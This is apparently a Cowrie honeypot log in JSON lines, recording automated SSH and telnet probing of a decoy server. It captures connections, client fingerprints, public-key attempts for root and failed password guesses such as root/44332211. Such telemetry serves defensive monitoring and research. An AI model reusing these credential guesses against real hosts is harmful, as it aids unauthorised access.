{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:78:85:3a:08:99:3f:39:3a:a6:f6:02:bc:43:96:aa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC2Z2NSql8xZhAxZqU06PdHdv6TEVhx2Plg9e2539caz","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 01:78:85:3a:08:99:3f:39:3a:a6:f6:02:bc:43:96:aa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:31.542314Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:78:85:3a:08:99:3f:39:3a:a6:f6:02:bc:43:96:aa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC2Z2NSql8xZhAxZqU06PdHdv6TEVhx2Plg9e2539caz","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:31.545952Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0e:d5:45:b9:2f:04:31:3a:d5:4f:d5:5c:81:8d:99:32","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMVRlYwnsxB4ZD25J+VJlJUdsP9vHRS0Nb1I6AUTNuDUcYBF4K6d2JIIkqUIefRuQ3HJSpFZWY0mRw1wFx8jpd8ssEFlC40053rXVF5TvzMB09ETvWYsxXS1STnGnBcX1pbh88w0PmVr0n0SCiI176cT6kmOaOokToWu9zWciwHPAAAAFQCXs7QPhhPIbvOk1PfMruv14tUV/wAAAIALEhT8KrIdrCzYoSYV7VG6riz6YkmrAgHScTx48VXpSVzP+oed9FZmRCltLu0nL6J7ZxQk+mAj0Bp7/LrkcjZZtm87vje3dD157UCPNEmwAJM1EjQJ23WKYwrLZlsg79FOZqFnhSiW8ZeS7fQIwY/WXFS2/zyvHVwFUO8tP4ixGwAAAIBkTRWCnaUVDQnajXvZpwtoHhuck3LNrA/hks07RkKIgCD8JEmgY0jnoP034fwcC3RuRDo+68KmSyChw1P/SKa8TxoEoq5l1ZiBVtPT0Fn7J7ENycmYHKFhUHPa3V6BUqvKlx0Uq2sxqTZrQGrT0GCNJE90LOO3jJmzhDq2+V6VeA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 0e:d5:45:b9:2f:04:31:3a:d5:4f:d5:5c:81:8d:99:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:31.788982Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0e:d5:45:b9:2f:04:31:3a:d5:4f:d5:5c:81:8d:99:32","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMVRlYwnsxB4ZD25J+VJlJUdsP9vHRS0Nb1I6AUTNuDUcYBF4K6d2JIIkqUIefRuQ3HJSpFZWY0mRw1wFx8jpd8ssEFlC40053rXVF5TvzMB09ETvWYsxXS1STnGnBcX1pbh88w0PmVr0n0SCiI176cT6kmOaOokToWu9zWciwHPAAAAFQCXs7QPhhPIbvOk1PfMruv14tUV/wAAAIALEhT8KrIdrCzYoSYV7VG6riz6YkmrAgHScTx48VXpSVzP+oed9FZmRCltLu0nL6J7ZxQk+mAj0Bp7/LrkcjZZtm87vje3dD157UCPNEmwAJM1EjQJ23WKYwrLZlsg79FOZqFnhSiW8ZeS7fQIwY/WXFS2/zyvHVwFUO8tP4ixGwAAAIBkTRWCnaUVDQnajXvZpwtoHhuck3LNrA/hks07RkKIgCD8JEmgY0jnoP034fwcC3RuRDo+68KmSyChw1P/SKa8TxoEoq5l1ZiBVtPT0Fn7J7ENycmYHKFhUHPa3V6BUqvKlx0Uq2sxqTZrQGrT0GCNJE90LOO3jJmzhDq2+V6VeA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:31.792524Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:95:62:13:86:b4:11:98:d0:4c:d0:7c:2d:f9:2a:c5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJAenlUDPEcGmNiWqz5ttcF+7RCETlIGDBNvvT8kklXfwgEMLsiypCbyeQLbJQWUl2oBZYJp5rjyKDVAj2xsHdq5p+pVVSfKfUGlVuRCQUCGqnsGWy4Q+M+w3nZ1BUyGWuhfa6qLRR+xECmEhAZv3MEz9jo/exKjAsGtpxquqoj9AAAAFQDktB0S/js9nwfbITepYNZUz4CN8QAAAIA6JKraDRhS94ZtOtcmnhdj2+R5ItduOK1hA6hG3ugn7WjTUVumakAxy7SoX0Q84sjr3psvA0BRu+pz+Wr3uyQZO5aBRppKC0ADau+nm7BVxlLwU9Qv3PZF8ow5R5moUO1/VhZHcRYGr3vKnTxNZnsBN7UlOTxbaGM3tFBOaLedsgAAAIBdtsD2YgSzoNEIh40bvnm1hWEg31RGNo7zrcGX2PL2XP9BOIBJrLU4/jtv89KpETRrU0Ll9QQtYGn/s4sUAZCaqZKKV/9DKoJwjdCzvja6Jjrw1F+zmYvkDBFV4zgj4Q4W91V59twDzqMX3kxogIR+XrDaGH2cLnC4B2qW9Dboog==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 85:95:62:13:86:b4:11:98:d0:4c:d0:7c:2d:f9:2a:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:32.037927Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:95:62:13:86:b4:11:98:d0:4c:d0:7c:2d:f9:2a:c5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJAenlUDPEcGmNiWqz5ttcF+7RCETlIGDBNvvT8kklXfwgEMLsiypCbyeQLbJQWUl2oBZYJp5rjyKDVAj2xsHdq5p+pVVSfKfUGlVuRCQUCGqnsGWy4Q+M+w3nZ1BUyGWuhfa6qLRR+xECmEhAZv3MEz9jo/exKjAsGtpxquqoj9AAAAFQDktB0S/js9nwfbITepYNZUz4CN8QAAAIA6JKraDRhS94ZtOtcmnhdj2+R5ItduOK1hA6hG3ugn7WjTUVumakAxy7SoX0Q84sjr3psvA0BRu+pz+Wr3uyQZO5aBRppKC0ADau+nm7BVxlLwU9Qv3PZF8ow5R5moUO1/VhZHcRYGr3vKnTxNZnsBN7UlOTxbaGM3tFBOaLedsgAAAIBdtsD2YgSzoNEIh40bvnm1hWEg31RGNo7zrcGX2PL2XP9BOIBJrLU4/jtv89KpETRrU0Ll9QQtYGn/s4sUAZCaqZKKV/9DKoJwjdCzvja6Jjrw1F+zmYvkDBFV4zgj4Q4W91V59twDzqMX3kxogIR+XrDaGH2cLnC4B2qW9Dboog==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:32.042127Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:7a:99:1e:95:d9:3a:15:82:3e:87:9e:7b:bb:ea:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4u4Bzmn6E7xBwRzUian4zGoE35QD05oo1bKpupg9evgTk3S+O2gHoThxGK7o/3kvZXUEgQt5/N66aaQiD6Y87Ln3qsZGX3IjeqirOBAsgCFGPf890NvxtvkE9R4f/caTGLkdfWknXpA/ONNmABTpu0dqltaGvPT457rJZbkkHsPSqSaV4yWHjkySawr+AR3w+zcdvmEshqiJSr6vuLLwmCZGndwcHcimHu1fbS4uX0tUqeMeBvAfu01sw8BdyJOShihSu1AN5PeMNwYlyhDw1/4bL0uabz7I+Co1AzulgejRk6N/h/bxnNpUXIvwM+RhhpOD8Hb9EFqGJjrAGa4gMt7tX8JbvAKPuH/h6wVlINEu1O2kiET/6euoHPq8pSVU3KGxbZilh6xlU2xasdFCO8IupUIu93/CEUZrcYfjwZXkoqeUPAOZPQF5e4UlVQOmbtQmHKCGzbQfozwVRYQnjwKrYw3DI7ApxHGwVvGyj8rqnb65weUITnpOsBJh7NlE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:7a:99:1e:95:d9:3a:15:82:3e:87:9e:7b:bb:ea:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:32.285722Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:7a:99:1e:95:d9:3a:15:82:3e:87:9e:7b:bb:ea:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4u4Bzmn6E7xBwRzUian4zGoE35QD05oo1bKpupg9evgTk3S+O2gHoThxGK7o/3kvZXUEgQt5/N66aaQiD6Y87Ln3qsZGX3IjeqirOBAsgCFGPf890NvxtvkE9R4f/caTGLkdfWknXpA/ONNmABTpu0dqltaGvPT457rJZbkkHsPSqSaV4yWHjkySawr+AR3w+zcdvmEshqiJSr6vuLLwmCZGndwcHcimHu1fbS4uX0tUqeMeBvAfu01sw8BdyJOShihSu1AN5PeMNwYlyhDw1/4bL0uabz7I+Co1AzulgejRk6N/h/bxnNpUXIvwM+RhhpOD8Hb9EFqGJjrAGa4gMt7tX8JbvAKPuH/h6wVlINEu1O2kiET/6euoHPq8pSVU3KGxbZilh6xlU2xasdFCO8IupUIu93/CEUZrcYfjwZXkoqeUPAOZPQF5e4UlVQOmbtQmHKCGzbQfozwVRYQnjwKrYw3DI7ApxHGwVvGyj8rqnb65weUITnpOsBJh7NlE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:32.289759Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:3b:3c:bb:86:ed:bf:22:62:f0:96:a6:14:a3:df:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPMlDL213QukhNm+4+6W1e/peFr4EGR5TZRnu/QrnWz+01S/+xcP2XbnaHcfN9L4sp673czKt2LAUScU1y7ccexaXfk1ncrdu0qVqUNhYrZ9SDBUg4r/AW47a8NtQiR3XZ02NQMQnhJbbwy0VAeyjTQ6musNTbRQ8lP3ipUtVO4RSsJBzNSL45JXmEzXRpWRj6PlWfLSWdbSQH7NahcrddOEWpsefPm0U1S+sFiDvS1Di3Vi8LFJCveNVC5gByXnmNQkkIV4pB+rQ6Cjbv/lB9+s32yy3idedO5cskEJ4N9QamabLfmMstzYfLRmLu1YmWfgV8tLvoVnnetaR20VuN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:3b:3c:bb:86:ed:bf:22:62:f0:96:a6:14:a3:df:9f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:32.533505Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:3b:3c:bb:86:ed:bf:22:62:f0:96:a6:14:a3:df:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPMlDL213QukhNm+4+6W1e/peFr4EGR5TZRnu/QrnWz+01S/+xcP2XbnaHcfN9L4sp673czKt2LAUScU1y7ccexaXfk1ncrdu0qVqUNhYrZ9SDBUg4r/AW47a8NtQiR3XZ02NQMQnhJbbwy0VAeyjTQ6musNTbRQ8lP3ipUtVO4RSsJBzNSL45JXmEzXRpWRj6PlWfLSWdbSQH7NahcrddOEWpsefPm0U1S+sFiDvS1Di3Vi8LFJCveNVC5gByXnmNQkkIV4pB+rQ6Cjbv/lB9+s32yy3idedO5cskEJ4N9QamabLfmMstzYfLRmLu1YmWfgV8tLvoVnnetaR20VuN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:32.537688Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.36763048171997,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:32.559024Z","src_ip":"152.42.224.71","session":"b62c5b4724b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:32.780829Z","src_ip":"14.161.29.98","session":"4dff02be85b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59700,"dst_ip":"10.17.0.5","dst_port":23,"session":"b136acea0b8d","protocol":"telnet","message":"New connection: 152.42.224.71:59700 (10.17.0.5:23) [session: b136acea0b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:33.183334Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":33460,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e645921e381","protocol":"ssh","message":"New connection: 147.45.199.80:33460 (10.17.0.5:22) [session: 4e645921e381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:33.715440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:33.722032Z","src_ip":"147.45.199.80","session":"4e645921e381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:33.821140Z","src_ip":"147.45.199.80","session":"4e645921e381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59716,"dst_ip":"10.17.0.5","dst_port":23,"session":"a813928d359b","protocol":"telnet","message":"New connection: 152.42.224.71:59716 (10.17.0.5:23) [session: a813928d359b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:33.929222Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"44332211","message":"login attempt [root/44332211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:34.118332Z","src_ip":"147.45.199.80","session":"4e645921e381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59726,"dst_ip":"10.17.0.5","dst_port":23,"session":"411e94bda051","protocol":"telnet","message":"New connection: 152.42.224.71:59726 (10.17.0.5:23) [session: 411e94bda051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:34.348825Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:35.220071Z","src_ip":"147.45.199.80","session":"4e645921e381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":57334,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d0285e8abe3","protocol":"ssh","message":"New connection: 31.40.204.166:57334 (159.203.135.109:22) [session: 6d0285e8abe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:35.985327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:36.014475Z","src_ip":"31.40.204.166","session":"6d0285e8abe3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:36.110480Z","src_ip":"31.40.204.166","session":"6d0285e8abe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:36.707473Z","src_ip":"31.40.204.166","session":"6d0285e8abe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:37.921988Z","src_ip":"31.40.204.166","session":"6d0285e8abe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00262975692749,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:39.261065Z","src_ip":"152.42.224.71","session":"e52e4cc20cd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.255.100.230","src_port":53744,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dea504be37d","protocol":"ssh","message":"New connection: 185.255.100.230:53744 (10.17.0.5:22) [session: 3dea504be37d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.321635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.327175Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.334334Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:cb:c3:87:11:f7:7f:03:01:bd:d4:5d:2b:61:f9:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6nyMnJyZiOH2/D94AncG0FeMxQups4PfzK4pgCRoOh2+eQ0pW85Y9USPu+HMJKobTHgmN4aXE7+UKqU6uCu2N/jnr73n0bmZn1fbnpwrZrBSB3I3K5hvN4x24OjmBskofYWRkEj97Gjs9a4tYP8taIHh0JHj0S78mTlguW9CydBl0bBf/vkVlSgPHeD0BiRSxR/jS6kdmMkRfdO13eavx3T9FiJO+ZETJ6HH25aCSkYl1tvNh+H9XVPaFyIvJ5tf7yp5sY73q8MHAta1oML/AdXqNFbvsN7mD686Rd+UgAeKpgeCZhy6n7AMuw41jJGM0XYseJRywvhjIo+2tvHLKZNha05Agsf6+tQOqPpJUZGmtBA9osgHgf42iK1cuR1fdIMmzkboUhx5OAl90N/FPictJNZFIE1WeIpwXy6kSu4UJ0v5f3JIAebzFYCGo12PuLXx5+ZygMqO+OqZ2UPJl3mq6EDpRp2ga+dRU0QwXIGv6/vIHd9fSwbil9JqqzBXbCPWOfXjj46Oy1JW3T0J0rpo42l4GKHwxI8qmFHCLUNT7ki6/qAeq0yw7uN3PRnbF4lUM05lpfWqS6lq4ZdOGj95FY7DK56ecw8IxNZLz3FUrwiw5CP8JdjHoy0/LH3lyaz/gm3F6N0BU/lsNaPFwoAOYRbHbHGv22BU82MjMiQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:cb:c3:87:11:f7:7f:03:01:bd:d4:5d:2b:61:f9:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.350800Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:cb:c3:87:11:f7:7f:03:01:bd:d4:5d:2b:61:f9:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6nyMnJyZiOH2/D94AncG0FeMxQups4PfzK4pgCRoOh2+eQ0pW85Y9USPu+HMJKobTHgmN4aXE7+UKqU6uCu2N/jnr73n0bmZn1fbnpwrZrBSB3I3K5hvN4x24OjmBskofYWRkEj97Gjs9a4tYP8taIHh0JHj0S78mTlguW9CydBl0bBf/vkVlSgPHeD0BiRSxR/jS6kdmMkRfdO13eavx3T9FiJO+ZETJ6HH25aCSkYl1tvNh+H9XVPaFyIvJ5tf7yp5sY73q8MHAta1oML/AdXqNFbvsN7mD686Rd+UgAeKpgeCZhy6n7AMuw41jJGM0XYseJRywvhjIo+2tvHLKZNha05Agsf6+tQOqPpJUZGmtBA9osgHgf42iK1cuR1fdIMmzkboUhx5OAl90N/FPictJNZFIE1WeIpwXy6kSu4UJ0v5f3JIAebzFYCGo12PuLXx5+ZygMqO+OqZ2UPJl3mq6EDpRp2ga+dRU0QwXIGv6/vIHd9fSwbil9JqqzBXbCPWOfXjj46Oy1JW3T0J0rpo42l4GKHwxI8qmFHCLUNT7ki6/qAeq0yw7uN3PRnbF4lUM05lpfWqS6lq4ZdOGj95FY7DK56ecw8IxNZLz3FUrwiw5CP8JdjHoy0/LH3lyaz/gm3F6N0BU/lsNaPFwoAOYRbHbHGv22BU82MjMiQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:42:40.354604Z","src_ip":"185.255.100.230","session":"3dea504be37d","protocol":"ssh"}
